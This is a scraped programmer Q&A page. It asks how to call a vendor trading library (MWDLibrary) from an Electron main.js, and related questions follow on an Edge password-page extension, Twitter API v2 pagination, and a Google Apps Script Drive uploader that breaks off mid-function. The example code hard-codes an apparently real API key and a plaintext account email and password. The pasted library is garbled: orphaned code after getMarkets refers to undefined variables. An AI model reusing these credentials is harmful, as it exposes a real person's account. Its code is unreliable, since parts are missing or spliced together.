I have a basic electron app where I am trying to use vendor supplied js library. The example they supplied provides a static html page which includes their custom library and an example js file. This is the html
<HTML>
<HEAD>
<TITLE> MWD Library </TITLE>
</HEAD>
<BODY>
<h2>MWD Library Example</h2>
<input id="authAndConnect" type="button" value="authenticate and connect to stream" onclick="authenticateAndConnectToStream()" /></br></br>
<input id="clickMe" type="button" value="place position" onclick="placePosition()" /></br></br>
<input id="unsubscribeMe" type="button" value="unsubscribe" onclick="unsubscribe()" />
<input id="streamError" type="button" value="reconn to stream" onclick="reconnectToStream()" />
<input id="historicalData" type="button" value="historical data for GOLD" onclick="getHistoricalData()" />
<input id="goldExpiries" type="button" value="expiries for GOLD" onclick="getCurrentGoldExpiries()" /></br></br>
<input id="userTrades" type="button" value="active&completed trades" onclick="getUserTrades()" />
</BODY>
<SCRIPT SRC="jquery.ajax.js"></SCRIPT>
<SCRIPT SRC="mwdlib.js"></SCRIPT>
<SCRIPT SRC="app.js"></SCRIPT>
</HTML>
In the example above the button click calls authenticateAndConnectToStream in their example apps.js
//DEMO
//provide API key
MWDLibrary.config("dwR4jXn9ng9U2TbaPG2TzP1FTMqWMOuSrCWSK5vRIW7N9hefYEapvkXuYfVhzmdyFypxdayfkUT07HltIs4pwT0FIqEJ6PyzUz0mIqGj1GtmAlyeuVmSC5IcjO4gz14q");
//authenticate on MarketsWorld
var getAuthTokenParams = {email:"rtmarchionne#gmail.com", password:"Pitts4318AEM"};
var authenticateAndConnectToStream = function(){
MWDLibrary.getAuthDetails(getAuthTokenParams, function(authDetails) {
//optional: get older data
var marketsToSubscribeTo = ['GOLD', 'AUDNZD'];
for (var i = 0; i < marketsToSubscribeTo.length; i++){
MWDLibrary.getHistoricalData(marketsToSubscribeTo[i], function(response) {
console.log(response);
}, function(errorMessage) {
console.log(errorMessage);
});
}
//now you can connect to stream
MWDLibrary.connect(marketsToSubscribeTo, function() {
addMarketsListeners();
}, function(errorMessage) {
console.log(errorMessage);
});
}, function(errorMessage) {
console.log(errorMessage);
});
};
I want to call the same methods that start with MWDLibrary. from my main js like MWDLibrary.config("dwR4jXn9")
My main.js:
const electron = require('electron')
var path = require('path');
var countdown = require(path.resolve( __dirname, "./tradescaler.js" ) );
var mwd = require(path.resolve( __dirname, "./mwdlib.js" ) );
const app = electron.app
const BrowserWindow = electron.BrowserWindow
const ipc = electron.ipcMain
let mainWindow
app.on('ready', _ => {
mainWindow = new BrowserWindow({
height: 360,
width: 700,
title: "TradeScaler Beta - Creative Solutions",
//frame: false,
alwaysOnTop: true,
autoHideMenuBar: true,
backgroundColor: "#FF7E47",
})
mainWindow.loadURL('file://' + __dirname + '/tradescaler.html')
mainWindow
//mainWindow.setAlwaysOnTop(true, 'screen');
mainWindow.on('closed', _ => {
mainWindow = null
})
})
ipc.on('countdown-start', _ => {
console.log('caught it!');
MWDLibrary.config();
countdown(count => {
mainWindow.webContents.send('countdown', count)
})
})
In my main.js above I get an error that says MWDLibrary is not defined.
Is it the structure of the library that is the problem? do i have to pass a window or modify the library?
Here is the library I'm trying to use:
(function(window){
'use strict';
function init(){
var MWDLibrary = {};
var transferProtocol = "https://"
var streamTransferProtocol = "https://"
var baseTLD = "www.marketsworld.com"
var basePort = ""
var streamBaseTLD = "www.marketsworld.com"
var streamPort = ""
var authToken = "";
var publicId = "";
var userLevel = "user";
var apiKey = "-";
var streamUrl = "";
var streamToken = "";
var subscribedChannels = [];
var streamEvents = {};
var offersWithExpiries = [];
var filteredExpiries = {};
var positions = {};
var evtSource;
MWDLibrary.config = function(apiUserKey){
apiKey = apiUserKey;
}
MWDLibrary.expiries = function(market){
return filteredExpiries[market];
}
MWDLibrary.connect = function(channelsToSubscribeTo, successHandler, errorHandler){
//console.log("Connecting...");
if(publicId === ""){
errorHandler("Please authenticate first.");
return;
}
var dispatchUrl = streamTransferProtocol+streamBaseTLD+streamPort+'/api/dispatcher';
getJSON(dispatchUrl, apiKey, authToken, function(data){
var data_from_json = JSON.parse(data);
if(data_from_json.url){
var url = data_from_json.url+'/announce?callback=__callback&publicToken='+publicId+'&userLevel='+userLevel+'&_='+(new Date().getTime() / 1000);
getJSON(url, apiKey, authToken, function(data) {
var data_from_json = JSON.parse(data);
if(data_from_json.url){
streamUrl = data_from_json.url.substring(0,data_from_json.url.lastIndexOf("/user"));
streamToken = data_from_json.url.split("token=")[1];
MWDLibrary.subscribe(channelsToSubscribeTo, function(subscribeResponseData) {
evtSource = new EventSource(streamTransferProtocol+data_from_json.url);
evtSource.onopen = sseOpen;
evtSource.onmessage = sseMessage;
evtSource.onerror = sseError;
successHandler('connected');
return;
}, function(errorMessage) {
errorHandler(errorMessage);
return;
});
}
else{
//console.log(data);
errorHandler('Something went wrong.');
return;
}
}, function(status) {
//console.log(status);
errorHandler(status);
return;
});
}
else{
//console.log(data);
errorHandler('Something went wrong.');
return;
}
}, function(status) {
//console.log(status);
errorHandler(status);
return;
});
}
MWDLibrary.subscribe = function(channelsToSubscribeTo, successHandler, errorHandler){
//console.log("Subscribing...");
if(publicId === ""){
errorHandler("Please authenticate first.");
return;
}
var channels = 'ALL|TEST|private.'+publicId;
if (channelsToSubscribeTo.length > 0){
var auxChannels = '';
if(subscribedChannels.length > 0){
channels = subscribedChannels[0];
for(var j = 1; j < subscribedChannels.length; j++){
channels = channels +'|'+subscribedChannels[j];
}
}
for(var i = 0; i < channelsToSubscribeTo.length; i++)
{
if(subscribedChannels.indexOf(channelsToSubscribeTo[i])==-1){
auxChannels = auxChannels+'|'+channelsToSubscribeTo[i]+'|'+channelsToSubscribeTo[i]+'.game#1';
}
}
channels = channels+auxChannels;
}
else{
if (subscribedChannels.length == 0)
{
channels = channels+'|GOLD|GOLD.game#1';
}
else{
channels = subscribedChannels[0];
for (var j = 1; j < subscribedChannels.length; j++){
channels = channels + '|' + subscribedChannels[j];
}
}
}
var subscribeUrl = streamTransferProtocol+streamUrl+'/user/stream/subscribe?callback=__callback&token='+streamToken+'&channels='+escape(channels)+'&_='+(new Date().getTime() / 1000);
//subscribe to channels
getJSON(subscribeUrl, apiKey, authToken, function(subscribeData) {
var subscribeData_from_json = JSON.parse(subscribeData);
subscribedChannels = subscribeData_from_json.channels;
//console.log(subscribedChannels);
for (var i = 0; i < subscribedChannels.length; i++)
{
if (subscribedChannels[i] == 'ALL')
{
streamEvents[subscribedChannels[i]] = {};
streamEvents[subscribedChannels[i]]['heartbeat'] = new CustomEvent('ALL.heartbeat', {'detail':'-'});
streamEvents[subscribedChannels[i]]['status'] = new CustomEvent('ALL.status', {'detail':'-'});
continue;
}
if (subscribedChannels[i].lastIndexOf('private') > -1)
{
streamEvents[subscribedChannels[i]] = {};
streamEvents[subscribedChannels[i]]['positions'] = new CustomEvent('PRIVATE.positions', {'detail':'-'});
streamEvents[subscribedChannels[i]]['balance'] = new CustomEvent('PRIVATE.balance', {'detail':'-'});
continue;
}
if (subscribedChannels[i].lastIndexOf('game') > -1)
{
streamEvents[subscribedChannels[i]] = {};
streamEvents[subscribedChannels[i]]['expiry'] = new CustomEvent(subscribedChannels[i].split('.')[0]+'.expiry', {'detail':'-'});
streamEvents[subscribedChannels[i]]['spread'] = new CustomEvent(subscribedChannels[i].split('.')[0]+'.spread', {'detail':'-'});
streamEvents[subscribedChannels[i]]['payout'] = new CustomEvent(subscribedChannels[i].split('.')[0]+'.payout', {'detail':'-'});
streamEvents[subscribedChannels[i]]['offer'] = new CustomEvent(subscribedChannels[i].split('.')[0]+'.offer', {'detail':'-'});
continue;
}
streamEvents[subscribedChannels[i]] = {};
streamEvents[subscribedChannels[i]]['value'] = new CustomEvent(subscribedChannels[i]+'.value', {'detail':'-'});
}
successHandler(subscribeData_from_json);
}, function(status) {
errorHandler(status);
});
}
MWDLibrary.unsubscribe = function(channelsToUnsubscribeFrom, successHandler, errorHandler){
//console.log("Unsubscribing...");
if(publicId === ""){
errorHandler("Please authenticate first.");
return;
}
if(channelsToUnsubscribeFrom.length == 0){
errorHandler("Please select markets to unsubscribe from.");
return;
}
var channels = channelsToUnsubscribeFrom[0]+'|'+channelsToUnsubscribeFrom[0]+'.game#1';
for(var i = 1; i < channelsToUnsubscribeFrom.length; i++)
{
channels = channels+'|'+channelsToUnsubscribeFrom[i]+'|'+channelsToUnsubscribeFrom[i]+'.game#1';
}
var subscribeUrl = streamTransferProtocol+streamUrl+'/user/stream/unsubscribe?callback=__callback&token='+streamToken+'&channels='+escape(channels)+'&_='+(new Date().getTime() / 1000);
//subscribe to channels
getJSON(subscribeUrl, apiKey, authToken, function(unsubscribeData) {
var unsubscribeData_from_json = JSON.parse(unsubscribeData);
var unsubscribedChannels = unsubscribeData_from_json.channels;
for(var i = 0; i < unsubscribedChannels.length; i++)
{
var index = subscribedChannels.indexOf(unsubscribedChannels[i]);
if(index != -1) {
subscribedChannels.splice(index, 1);
}
}
//console.log(subscribedChannels);
successHandler(unsubscribeData_from_json);
}, function(status) {
errorHandler(status);
});
}
MWDLibrary.getAuthDetails = function(params, successHandler, errorHandler){
//console.log("getting auth token...");
var url = transferProtocol+baseTLD+basePort+'/api/v2/sessions';
postJSON(url, apiKey, authToken, params, function(data) {
var data_from_json = JSON.parse(data);
if (!data_from_json.error){
authToken = data_from_json.api_session_token.token;
publicId = data_from_json.api_session_token.user.public_id;
successHandler(data_from_json.api_session_token);
return;
}
else{
errorHandler(data_from_json.error);
return;
}
}, function(status) {
errorHandler(status);
return;
});
}
MWDLibrary.placePosition = function(params, successHandler, errorHandler){
//console.log("placing a position...");
if(publicId === ""){
errorHandler("Please authenticate first.");
return;
}
var url = transferProtocol+baseTLD+basePort+'/api/v2/positions';
if(params.market == ''){
errorHandler('Market code is missing.');
return;
}
var position = positions[params.market];
if(!position || position.market_value <= 0){
errorHandler('No data for this market.');
return;
}
if(!params.offer_id || params.offer_id == ''){
errorHandler('Offer id is missing.');
return;
}
if(!params.resolution_at || params.resolution_at <= 0){
errorHandler('Expiry time is missing.');
return;
}
if(!params.type || params.type == ''){
errorHandler('Position type is missing.');
return;
}
if(!params.wager || params.wager <= 0){
errorHandler('Wager is missing.');
return;
}
position.offer_id = params.offer_id;
position.resolution_at = params.resolution_at;
position.type = params.type;
position.wager = params.wager;
//console.log(position);
postJSON(url, apiKey, authToken, position, function(data) {
var data_from_json = JSON.parse(data);
if (!data_from_json.error){
successHandler(data_from_json);
return;
}
else{
errorHandler(data_from_json.error);
return;
}
}, function(status) {
errorHandler(status+' - make sure all parameters are set correctly and wait 10 seconds between bets');
return;
});
}
MWDLibrary.getMarkets = function(successHandler, errorHandler){
//console.log("getting markets list...");
getJSON(transferProtocol+baseTLD+basePort+'/api/v2/markets.json', apiKey, authToken, function(data) {
var data_from_json = JSON.parse(data);
for (var i = 0; i < data_from_json.length; i++) {
var status = "closed";
if (data_from_json[i].market.next_open_time > data_from_json[i].market.next_close_time)
{
status = "open";
}
data_from_json[i].market.status = status;
}
successHandler(data_from_json);
}, function(status) {
errorHandler(status);
});
}
var sortedOffersWithExpiries = offers.sort(compareOffersBtOrder);
for (var i=0; i<sortedOffersWithExpiries.length;i++)
{
expiryValue = 0;
expiryResult = 0;
var expiriesCopy = sortedOffersWithExpiries[i].expiries;
for (var index = 0; index<expiriesCopy.length;index++)
{
expiryValue = expiriesCopy[index]
if (expiryValue > lastExpiry)
{
expiryResult = expiryValue
break
}
}
if (expiryResult != 0)
{
var tuple = {};
tuple.timestamp = expiryValue/1000;
tuple.offerId = sortedOffersWithExpiries[i].offer;
tuple.cutout = sortedOffersWithExpiries[i].cutout;
expiriesFinalList.push(tuple);
lastExpiry = expiryValue
}
}
return expiriesFinalList;
}
function compareOffersBtOrder(a,b) {
if (a.order < b.order)
return -1;
if (a.order > b.order)
return 1;
return 0;
}
})/*(window)-->*/;
You're missing the .js file extension at the end of mwdlib
And you may need to require it using the full system path, instead of a relative one.
var mwd = require(path.resolve( __dirname, "./mwdlib.js" ) );
Related
I tried to send my variable back from foreground.js to background.js by using an unchanged variable, and it works. Now I can't send some data that I use my AddEventListener syntax to store the data into the variable to call its back to background.js here are my code on foreground.js
foreground.js
console.log("foreground.js injected");
var pswdBtns = [];
let hrefLists = [];
var data = {};
var i;
function readUUID(){
var navigator_info = window.navigator;
var screen_info = window.screen;
var uid = navigator_info.mimeTypes.length;
uid += navigator_info.userAgent.replace(/\D+/g, '');
uid += navigator_info.plugins.length;
uid += screen_info.height || '';
uid += screen_info.width || '';
uid += screen_info.pixelDepth || '';
return uid;
}
async function passwordProtected(pointerList){
const date = new Date();
const uid = readUUID();
alert("You are in dangerous on \'"+ pointerList.title + "\' row = " + pointerList.id.slice(20));
data = {
"Webtitle": pointerList.href,
"Title": pointerList.title,
"Time": date.toString(),
"UUID": uid
}
console.log("foreground = ", data);
return data;
}
console.log("Start loop")
//This function made for collect each id in passwordShowPasswordButton
for(i = 0; i<=pswdBtns.length; i++){
if(document.querySelector("#passwordShowPasswordButton_"+ i) == null){
console.log("This is your limit!!");
}
else{
hrefLists[i] = document.querySelector("#passwordWebsitelink_"+ i);
pswdBtns[i] = document.querySelector("#passwordShowPasswordButton_"+ i);;
data = pswdBtns[i].addEventListener('click', passwordProtected.bind(pswdBtns[i], hrefLists[i]));
console.log(hrefLists[i].title); /* Title VARCHAR(30) */
console.log(hrefLists[i].href); /* Website VARCHAR(50) */
}
}
console.log("End");
and these are my code on background.js
background.js
const edgePswd = "edge://settings/passwords";
const settingPage = "edge://settings/";
chrome.tabs.onActivated.addListener(async (tab) => {
await chrome.tabs.get(tab.tabId, (current_tab_info) => {
var pswdPageChecked = 1;
while(pswdPageChecked < 2) {
if (edgePswd == current_tab_info.url) {
chrome.tabs.executeScript(null, { file: "/extension/foreground.js" }, (data) => {
console.log("Coming to foreground");
console.log(data);
});
pswdPageChecked++;
}
}
});
});
It would be a pleasure if someone can figure this.
The model I used to collect tweets from API V1.1 was like this:
function Twitter_get_tweets()
{
var string_Screen_name = "stakehighroller";
var string_Consumer_key = "AAAAAAAAAAAAAAAAAAAAAAAAAA";
var string_Consumer_secret = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
var spreadsheet_Tweets = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Tweets");
spreadsheet_Tweets.getRange(3, 1, 2600, 20).clearContent();
var tokenUrl = "https://api.twitter.com/oauth2/token";
var tokenCredential = Utilities.base64EncodeWebSafe(string_Consumer_key + ":" + string_Consumer_secret);
var tokenOptions = {
headers : {
Authorization: "Basic " + tokenCredential,
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
},
method: "post",
payload: "grant_type=client_credentials"
};
var responseToken = UrlFetchApp.fetch(tokenUrl, tokenOptions);
var parsedToken = JSON.parse(responseToken);
var token = parsedToken.access_token;
var apiUrl = "";
var responseApi = "";
var apiOptions = {
headers : {
Authorization: 'Bearer ' + token
},
"method" : "get"
};
var array_Column_a = [];
var array_Text = [];
var array_Expanded_url = [];
var string_Max_id = 0;
var int_Line_counter = 1;
var int_Break_loop = 0;
do
{
if (int_Line_counter == 1)
{
apiUrl = 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name='+ string_Screen_name + '&count=200&include_rts=1';
}
else
{
apiUrl = 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name='+ string_Screen_name + '&count=200&include_rts=1&max_id=' + string_Max_id;
}
responseApi = UrlFetchApp.fetch(apiUrl, apiOptions);
if (responseApi.getResponseCode() == 200)
{
var obj_data = JSON.parse(responseApi.getContentText());
for (var int_i = 0; int_i < obj_data.length; int_i++)
{
array_Column_a.push([int_Line_counter]);
array_Text.push([obj_data[int_i].text]);
if (obj_data[int_i].entities.urls[0] != undefined && obj_data[int_i].entities != undefined)
{
array_Expanded_url.push([obj_data[int_i].entities.urls[0].expanded_url]);
}
else
{
array_Expanded_url.push([""]);
}
int_Line_counter++;
}
if (obj_data[(obj_data.length-1)] != undefined && int_i < parseInt(obj_data[0].user.statuses_count))
{
string_Max_id = obj_data[(obj_data.length-1)].id;
}
else
{
int_Break_loop = 1;
}
}
}while (int_Break_loop != 1 && int_Line_counter < 1000)
if (array_Column_a.length > 0)
{
spreadsheet_Tweets.getRange("A3:A"+(array_Column_a.length + 2)).setValues(array_Column_a);
spreadsheet_Tweets.getRange("C3:C"+(array_Text.length + 2)).setValues(array_Text);
spreadsheet_Tweets.getRange("D3:D"+(array_Expanded_url.length + 2)).setValues(array_Expanded_url);
}
else
{
Browser.msgBox("0 Tweets found");
}
}
It worked perfectly, but when I adjusted the requests model for API V2, the data is retrieved perfectly, because when I try to send var obj_data = JSON.parse(responseApi.getContentText()); to a cell, it tells me that the number of characters are above the cell limit.
The current model is as follows:
function TwitterTest2()
{
var string_Screen_name = "1310800524619386880";
var string_Consumer_key = "AAAAAAAAAAAAAAAAAAAAAAA";
var string_Consumer_secret = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
var spreadsheet_Tweets = SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Tweets");
spreadsheet_Tweets.getRange(3, 1, 2600, 20).clearContent();
var tokenUrl = "https://api.twitter.com/oauth2/token";
var tokenCredential = Utilities.base64EncodeWebSafe(string_Consumer_key + ":" + string_Consumer_secret);
var tokenOptions = {
headers : {
Authorization: "Basic " + tokenCredential,
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
},
method: "post",
payload: "grant_type=client_credentials"
};
var responseToken = UrlFetchApp.fetch(tokenUrl, tokenOptions);
var parsedToken = JSON.parse(responseToken);
var token = parsedToken.access_token;
var apiUrl = "";
var responseApi = "";
var apiOptions = {
headers : {
Authorization: 'Bearer ' + token
},
"method" : "get"
};
var array_Column_a = [];
var array_Text = [];
var array_Expanded_url = [];
var string_Max_id = 0;
var int_Line_counter = 1;
var int_Break_loop = 0;
do
{
if (int_Line_counter == 1)
{
apiUrl = 'https://api.twitter.com/2/users/' + string_Screen_name + '/tweets?expansions=attachments.poll_ids,attachments.media_keys,author_id,entities.mentions.username,geo.place_id,in_reply_to_user_id,referenced_tweets.id,referenced_tweets.id.author_id&tweet.fields=attachments,author_id,context_annotations,conversation_id,created_at,entities,geo,id,in_reply_to_user_id,lang,possibly_sensitive,public_metrics,referenced_tweets,reply_settings,source,text,withheld&user.fields=created_at,description,entities,id,location,name,pinned_tweet_id,profile_image_url,protected,public_metrics,url,username,verified,withheld&place.fields=contained_within,country,country_code,full_name,geo,id,name,place_type&poll.fields=duration_minutes,end_datetime,id,options,voting_status&media.fields=duration_ms,height,media_key,preview_image_url,type,url,width,public_metrics,non_public_metrics,organic_metrics,promoted_metrics&max_results=100';
}
else
{
apiUrl = 'https://api.twitter.com/2/users/' + string_Screen_name + '/tweets?expansions=attachments.poll_ids,attachments.media_keys,author_id,entities.mentions.username,geo.place_id,in_reply_to_user_id,referenced_tweets.id,referenced_tweets.id.author_id&tweet.fields=attachments,author_id,context_annotations,conversation_id,created_at,entities,geo,id,in_reply_to_user_id,lang,possibly_sensitive,public_metrics,referenced_tweets,reply_settings,source,text,withheld&user.fields=created_at,description,entities,id,location,name,pinned_tweet_id,profile_image_url,protected,public_metrics,url,username,verified,withheld&place.fields=contained_within,country,country_code,full_name,geo,id,name,place_type&poll.fields=duration_minutes,end_datetime,id,options,voting_status&media.fields=duration_ms,height,media_key,preview_image_url,type,url,width,public_metrics,non_public_metrics,organic_metrics,promoted_metrics&max_results=100&until_id=' + string_Max_id;
}
responseApi = UrlFetchApp.fetch(apiUrl, apiOptions);
if (responseApi.getResponseCode() == 200)
{
var obj_data = JSON.parse(responseApi.getContentText());
for (var int_i = 0; int_i < obj_data.length; int_i++)
{
array_Column_a.push([int_Line_counter]);
array_Text.push([obj_data.data[int_i].text]);
if (obj_data.data[int_i].entities.urls[0] != undefined && obj_data.data[int_i].entities != undefined)
{
array_Expanded_url.push([obj_data.data[int_i].entities.urls[0].expanded_url]);
}
else
{
array_Expanded_url.push([""]);
}
int_Line_counter++;
}
if (obj_data[(obj_data.length-1)] != undefined && int_i < parseInt(obj_data.includes.users[0].public_metrics.tweet_count))
{
string_Max_id = obj_data[(obj_data.length-1)].id;
}
else
{
int_Break_loop = 1;
}
}
}while (int_Break_loop != 1 && int_Line_counter < 1000)
if (array_Column_a.length > 0)
{
spreadsheet_Tweets.getRange("A3:A"+(array_Column_a.length + 2)).setValues(array_Column_a);
spreadsheet_Tweets.getRange("C3:C"+(array_Text.length + 2)).setValues(array_Text);
spreadsheet_Tweets.getRange("D3:D"+(array_Expanded_url.length + 2)).setValues(array_Expanded_url);
}
else
{
Browser.msgBox("0 Tweets found");
}
}
However, when trying to separate the collected values for each row of the spreadsheet with the respective values for each tweet, nothing is delivered to the spreadsheet. This region is not being analyzed:
for (var int_i = 0; int_i < obj_data.length; int_i++)
{
array_Column_a.push([int_Line_counter]);
array_Text.push([obj_data.data[int_i].text]);
if (obj_data.data[int_i].entities.urls[0] != undefined && obj_data.data[int_i].entities != undefined)
{
array_Expanded_url.push([obj_data.data[int_i].entities.urls[0].expanded_url]);
}
else
{
array_Expanded_url.push([""]);
}
int_Line_counter++;
}
it is jumping without even trying to analyse inside for (var int_i = 0; int_i < obj_data.length; int_i++) and delivering the warning about 0 Tweets found according to:
else
{
Browser.msgBox("0 Tweets found");
}
I try to use
for (var int_i = 0; int_i < obj_data.length; int_i++)
{
array_Column_a.push([int_Line_counter]);
array_Text.push([obj_data.data[int_i].text]);
SpreadsheetApp.getActiveSpreadsheet().getSheetByName("Tweets").getRange("A3").setValue("Test");
return;
to know if inside for is being analyzed, but it's not because nothing value is placed in the cell, so I analyze that inside for the script is not being worked.
What do I need to do so that it doesn't happen and actually create the loop in for and be able to deliver the list of tweets? The ways to collect the data in theory are correct because by the tests they deliver the exact values.
Links:
API V1.1:
https://developer.twitter.com/en/docs/twitter-api/v1/tweets/timelines/api-reference/get-statuses-user_timeline
API V2:
https://developer.twitter.com/en/docs/twitter-api/tweets/timelines/api-reference/get-users-id-tweets
I reinforce that in API V1.1 the data was delivered perfectly.
V1.1 test result:
The structure of responses differ and you need to actually modify a little for your v2.
Update your loop condition.
Modifications:
obj_data in v2 contains additional meta, thus you need to get the length of obj_data.data instead of just obj_data
// from: obj_data.length
for (var int_i = 0; int_i < obj_data.length; int_i++) {
// to: obj_data.data.length
for (var int_i = 0; int_i < obj_data.data.length; int_i++) {
After this, you should be able to get the length which is 100.
Next problem is that there were entries that didn't have url under entities. Thus you need to check if entities.url exists first before accessing entities.url[0]. This will skip those rows url, BUT at least it won't error.
// from:
if (obj_data.data[int_i].entities.urls[0] != undefined && obj_data.data[int_i].entities != undefined)
// to: added obj_data.data[int_i].entities.urls to check if it exists
if (obj_data.data[int_i].entities.urls && obj_data.data[int_i].entities.urls[0] != undefined && obj_data.data[int_i].entities != undefined)
Resulting Snippet:
if (responseApi.getResponseCode() == 200) {
var obj_data = JSON.parse(responseApi.getContentText());
for (var int_i = 0; int_i < obj_data.data.length; int_i++) {
array_Column_a.push([int_Line_counter]);
array_Text.push([obj_data.data[int_i].text]);
if (obj_data.data[int_i].entities.urls && obj_data.data[int_i].entities.urls[0] != undefined && obj_data.data[int_i].entities != undefined)
array_Expanded_url.push([obj_data.data[int_i].entities.urls[0].expanded_url]);
else
array_Expanded_url.push([""]);
int_Line_counter++;
}
...
Output:
Entry 79, no entities.url
I have a web app with GAS that create folders, upload files, set permissions and save the registers on a sheet.
Ocassionally the app duplicate files when the functions finished and duplicate a register in the google sheet. I don't know how to avoid this error, and the console does not show the error either.
What could be happening? How can I prevent this problem?
This is my code for server side functions:
function fileExists(idfileexist,folderId) {
var consulta = DriveApp.getFileById(idfileexist).getName()
var files = DriveApp.getFilesByName(consulta);
while (files.hasNext()) {
var file = files.next();
var folders = file.getParents();
if (folders.hasNext()) {
var folder = folders.next();
if (folder.getId() == folderId) {
return true;
}
}
}
return false;
}
function removepermission(id, user){
DriveApp.getFileById(id).removeEditor(user)
}
function appendrow(idfile,sheet,numsip,rut,timestamp,user,idfolder,input,ticket){
var values = SpreadsheetApp.openById(idfile);
var ss= values.getSheetByName(sheet);
ss.appendRow([numsip,rut,timestamp,user,idfolder,input,ticket])
}
function setpermisoswriter(id,array){
var file = DriveApp.getFileById(id)
var editors = file.getEditors();
if (editors.length > 0) {
for (var i = 0; i < array.length; i++) {
Drive.Permissions.insert({'role': 'writer','type': 'user','value': array[i]},id,{'sendNotificationEmails': 'false' });};};
}
function setpermisosreader(id,array){
var file = DriveApp.getFileById(id)
var editors = file.getEditors();
if (editors.length > 0) {
for (var i = 0; i < array.length; i++) {
Drive.Permissions.insert({'role': 'reader','type': 'user','value': array[i]},id,{'sendNotificationEmails': 'false' });};};
}
function setownerid(id,user){
Drive.Permissions.insert({'role': 'owner','type': 'user','value': user},id,{'sendNotificationEmails': 'false'})
}
function setpermisoread(id,user){
Drive.Permissions.insert({'role': 'reader','type': 'user','value': user},id,{'sendNotificationEmails': 'false'})
}
function setpermisowrite(id,user){
Drive.Permissions.insert({'role': 'writer','type': 'user','value': user},id,{'sendNotificationEmails': 'false' })
}
function permissionstotal(){
var parentFolderId = "parentFolderId";
var idfilesheet="idfilesheet";
var useractive = Session.getActiveUser().getEmail();
var jefes = ["EMAIL#EMAIL.COM","EMAIL#EMAIL.COM", "EMAIL#EMAIL.COM","EMAIL#EMAIL.COM"]
var userviewer="EMAIL#EMAIL.COM"
setpermisosreader(parentFolderId,jefes)
setpermisosreader(idfilesheet,jefes)
setpermisoread(idfilesheet,useractive)
removepermission(parentFolderId,useractive)
setpermisoread(parentFolderId, useractive)
//setpermisowrite(idfilesheet,userviewer)
//setpermisoread(parentFolderId,userviewer)
}
function addNewRow(array,obj) {
var admin ="ADMIN"
var useractive = Session.getActiveUser().getEmail();
var timestamp = new Date();
var sheet="DATA"
var jefes = ["EMAIL#EMAIL.COM","EMAIL#EMAIL.COM", "EMAIL#EMAIL.COM","EMAIL#EMAIL.COM"]
var userviewer="EMAIL#EMAIL.COM"
var parentFolderId = "parentFolderId";
var idfile="idfile"
var parentFolder = DriveApp.getFolderById(parentFolderId);
setpermisowrite(parentFolderId,useractive)
setpermisowrite(idfile,useractive)
var folderName = "SIP "+array.numsip+"/"+array.rut;
var foldercreated = parentFolder.getFoldersByName(folderName);
foldercreated = foldercreated.hasNext() ? foldercreated.next() : parentFolder.createFolder(folderName);
var idfolder= foldercreated.getId()
appendrow(idfile,sheet,array.numsip,array.rut,timestamp,useractive,idfolder,array.input,array.ticket)
setownerid(idfolder,admin)
setpermisosreader(idfolder,jefes)
//setpermisoread(idfolder,userviewer)
return obj.map(({fileName, mimeType, data}) => {
var blob = Utilities.newBlob(Utilities.base64Decode(data), mimeType, fileName);
var foldercode = foldercreated.createFile(blob).getId();
var archivo = fileExists(foldercode,idfolder);
if (archivo==false){
console.log("archivo ya existe")
}
else{
setpermisosreader(foldercode,jefes)
//setpermisoread(foldercode,userviewer)
setownerid(foldercode,admin)
removepermission(foldercode,useractive)
setpermisoread(foldercode,useractive)
removepermission(idfolder,useractive)
setpermisoread(idfolder,useractive)
console.log("archivo creado")
return foldercode
}
});
}
function getsip(sipCode){
//var sipCode= "123"
var url ="URL SHEET";
var ss2= SpreadsheetApp.openByUrl(url);
var ws2= ss2.getSheetByName("DATA")
var data2 = ws2.getRange(2, 1, ws2.getLastRow(), 2).getDisplayValues()
var idList = data2.map(function(r) {return r[0];});
var position = idList.indexOf(sipCode)
if (position >-1){
console.log (idList[position])
return "REPETIDO";
} else{
console.log ("2")
return "NOREPETIDO"
}
}
This is the Javascript code:
function enviardatosvalidados(){
var validacion=document.getElementById("sipcode").value
if(validacion=="REPETIDO"){
$('#modal2').modal('hide')
$('#modalval').modal('show')
}
else{
try{
enviardatos()
$("#generar").attr("disabled", true)
google.script.run.permissionstotal()
setTimeout(function(){
$("#generar").attr("disabled", false) ; }, 25000)
window.reloadTheWebApp = function() {
console.log('reloadTheWebApp ran');
var linkTag = document.getElementById('testLink');
linkTag.click();
}
} catch(error){
alert("Hubo un error.")
alert(error)
}
}
}
function enviardatos(){
if(validate()){
var sip = document.getElementById("numsip")
var rut = document.getElementById("rut")
var input = document.getElementById("input")
var ticket = document.getElementById("ticket")
var array ={numsip: sip.value,rut: rut.value, input:input.value,ticket:ticket.value}
const f = document.getElementById('files');
Promise.all([...f.files].map((file, i) => {
const fr = new FileReader();
return new Promise((r, rj) => {
fr.onload = (e) => {
const data = e.target.result.split(",");
r({fileName: f.files[i].name, mimeType: data[0].match(/:(\w.+);/)[1], data: data[1]});
}
fr.onerror = (e) => rj(e);
fr.readAsDataURL(file);
});
}))
.then(obj => google.script.run.withSuccessHandler(console.log).addNewRow(array, obj))
.catch(err => alert(err));
$('#modal2').modal('hide')
successnotification2()
setTimeout(function(){
$(':input').val('');
$("#modalcarpeta").modal('show'); }, 25000);
;
}
else{
$('#modal2').modal('hide')
}
}
function validate(){
var fieldsToValidate = document.querySelectorAll("#userform input, #userform select");
Array.prototype.forEach.call(fieldsToValidate, function(el){
if(el.checkValidity()){
el.classList.remove("is-invalid");
}else{
el.classList.add("is-invalid");
}
});
return Array.prototype.every.call(fieldsToValidate, function(el){
return el.checkValidity();
});
}
function checkRut(rut) {
// Despejar Puntos
var valor = rut.value.replace('.','');
// Despejar Guión
valor = valor.replace('-','');
// Aislar Cuerpo y Dígito Verificador
cuerpo = valor.slice(0,-1);
dv = valor.slice(-1).toUpperCase();
// Formatear RUN
rut.value = cuerpo + '-'+ dv
// Si no cumple con el mínimo ej. (n.nnn.nnn)
if(cuerpo.length < 7) { rut.setCustomValidity("RUT Incompleto"); return false;}
// Calcular Dígito Verificador
suma = 0;
multiplo = 2;
// Para cada dígito del Cuerpo
for(i=1;i<=cuerpo.length;i++) {
